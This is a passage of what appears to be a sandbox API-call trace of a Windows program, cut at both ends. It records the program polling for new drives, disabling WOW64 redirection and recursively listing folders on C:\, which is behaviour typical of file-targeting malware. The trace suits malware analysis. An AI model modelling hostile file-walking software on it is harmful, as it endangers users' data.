returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc185b0 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fc38 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11190 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fba8 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc133a0 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fbc0 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc184e0 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fb90 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc175a0 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc18ec8 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xa4) returned 0xc10f18 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fb78 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fc20 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0085.859] GetProcessHeap () returned 0xc00000 [0085.859] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fbf0 | out: hHeap=0xc00000) returned 1 [0085.859] GetProcessHeap () returned 0xc00000 [0085.859] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fb18 | out: hHeap=0xc00000) returned 1 [0085.859] GetProcessHeap () returned 0xc00000 [0085.859] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x18) returned 0xc18de8 [0085.859] GetProcessHeap () returned 0xc00000 [0085.859] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0xe) returned 0xc1fb18 [0085.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e56b3, lpParameter=0xc18de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0085.860] CloseHandle (hObject=0x2c0) returned 1 [0085.861] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) Thread: id = 19 os_tid = 0x1158 [0085.861] GetLogicalDrives () returned 0x4 [0085.861] GetProcessHeap () returned 0xc00000 [0085.862] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc246a0 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24b78 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24790 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0085.862] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24b78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24790 | out: hHeap=0xc00000) returned 1 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246a0 | out: hHeap=0xc00000) returned 1 [0085.862] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2d9f88c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2d9f88c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b78 | out: hHeap=0xc00000) returned 1 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc127d8 [0085.862] GetProcessHeap () returned 0xc00000 [0085.862] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc2bb60 [0085.862] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c0 [0085.863] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c4 [0085.863] GetLogicalDrives () returned 0x4 [0085.863] Sleep (dwMilliseconds=0x3e8) [0087.956] GetLogicalDrives () returned 0x4 [0087.956] Sleep (dwMilliseconds=0x3e8) [0091.220] GetLogicalDrives () returned 0x4 [0091.220] Sleep (dwMilliseconds=0x3e8) [0092.591] GetLogicalDrives () returned 0x4 [0092.591] Sleep (dwMilliseconds=0x3e8) [0094.975] GetLogicalDrives () returned 0x4 [0094.975] Sleep (dwMilliseconds=0x3e8) [0096.351] GetLogicalDrives () returned 0x4 [0096.352] Sleep (dwMilliseconds=0x3e8) [0097.618] GetLogicalDrives () returned 0x4 [0097.618] Sleep (dwMilliseconds=0x3e8) [0100.111] GetLogicalDrives () returned 0x4 [0100.111] Sleep (dwMilliseconds=0x3e8) [0101.265] GetLogicalDrives () returned 0x4 [0101.265] Sleep (dwMilliseconds=0x3e8) [0102.794] GetLogicalDrives () returned 0x4 [0102.794] Sleep (dwMilliseconds=0x3e8) [0104.882] GetLogicalDrives () returned 0x4 [0104.882] Sleep (dwMilliseconds=0x3e8) [0105.970] GetLogicalDrives () returned 0x4 [0105.970] Sleep (dwMilliseconds=0x3e8) [0109.546] GetLogicalDrives () returned 0x4 [0109.546] Sleep (dwMilliseconds=0x3e8) [0110.806] GetLogicalDrives () returned 0x4 [0110.806] Sleep (dwMilliseconds=0x3e8) [0111.891] GetLogicalDrives () returned 0x4 [0111.891] Sleep (dwMilliseconds=0x3e8) [0114.133] GetLogicalDrives () returned 0x4 [0114.133] Sleep (dwMilliseconds=0x3e8) Thread: id = 20 os_tid = 0xf24 [0087.872] GetProcessHeap () returned 0xc00000 [0087.873] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x38) returned 0xc19678 [0087.873] GetProcessHeap () returned 0xc00000 [0087.873] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x18) returned 0xc19068 [0087.873] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2cc [0087.873] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d0 [0087.873] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d4 [0087.873] GetProcessHeap () returned 0xc00000 [0087.873] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc2cf88 [0087.873] GetProcessHeap () returned 0xc00000 [0087.873] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc3cf90 [0087.874] GetProcessHeap () returned 0xc00000 [0087.874] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc25148 [0087.874] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0087.874] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0087.874] Wow64DisableWow64FsRedirection (in: OldValue=0x2b1fd0c | out: OldValue=0x2b1fd0c*=0x0) returned 1 [0087.874] GetProcessHeap () returned 0xc00000 [0087.874] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25148 | out: hHeap=0xc00000) returned 1 [0087.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1e54bf, lpParameter=0x2b1fd14, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0087.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1e54bf, lpParameter=0x2b1fd14, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0087.875] GetProcessHeap () returned 0xc00000 [0087.875] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc4cf98 [0087.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2b1fa88 | out: lpFindFileData=0x2b1fa88*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xc19938 [0087.877] GetProcessHeap () returned 0xc00000 [0087.877] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc5cfa0 [0087.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc199f8 [0087.893] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0087.893] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0087.893] GetProcessHeap () returned 0xc00000 [0087.893] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6e890 [0087.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19ab8 [0087.897] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.897] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0087.898] SetEvent (hEvent=0x2d0) returned 1 [0087.898] ResetEvent (hEvent=0x2d4) returned 1 [0087.898] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0087.898] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0087.898] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0087.898] FindClose (in: hFindFile=0xc19ab8 | out: hFindFile=0xc19ab8) returned 1 [0087.899] GetProcessHeap () returned 0xc00000 [0087.899] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6e890 | out: hHeap=0xc00000) returned 1 [0087.900] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0087.900] GetProcessHeap () returned 0xc00000 [0087.900] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6e890 [0087.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19cb8 [0087.908] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.908] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0087.909] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0087.909] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0087.909] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0087.909] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0087.909] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0087.909] FindClose (in: hFindFile=0xc19cb8 | out: hFindFile=0xc19cb8) returned 1 [0087.910] GetProcessHeap () returned 0xc00000 [0087.910] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6e890 | out: hHeap=0xc00000) returned 1 [0087.911] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0087.911] FindClose (in: hFindFile=0xc199f8 | out: hFindFile=0xc199f8) returned 1 [0087.911] GetProcessHeap () returned 0xc00000 [0087.911] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc5cfa0 | out: hHeap=0xc00000) returned 1 [0087.912] FindNextFileW (in: hFindFile=0xc19938, lpFindFileData=0x2b1fa88 | out: lpFindFileData=0x2b1fa88*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0087.913] GetProcessHeap () returned 0xc00000 [0087.913] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc5cfa0 [0087.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName=".", cAlternateFileName="")) returned 0xc199f8 [0087.913] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="..", cAlternateFileName="")) returned 1 [0087.914] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0087.914] GetProcessHeap () returned 0xc00000 [0087.914] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0087.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0087.915] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0087.915] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0xe0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.915] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0xe0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0087.915] FindClose (in: 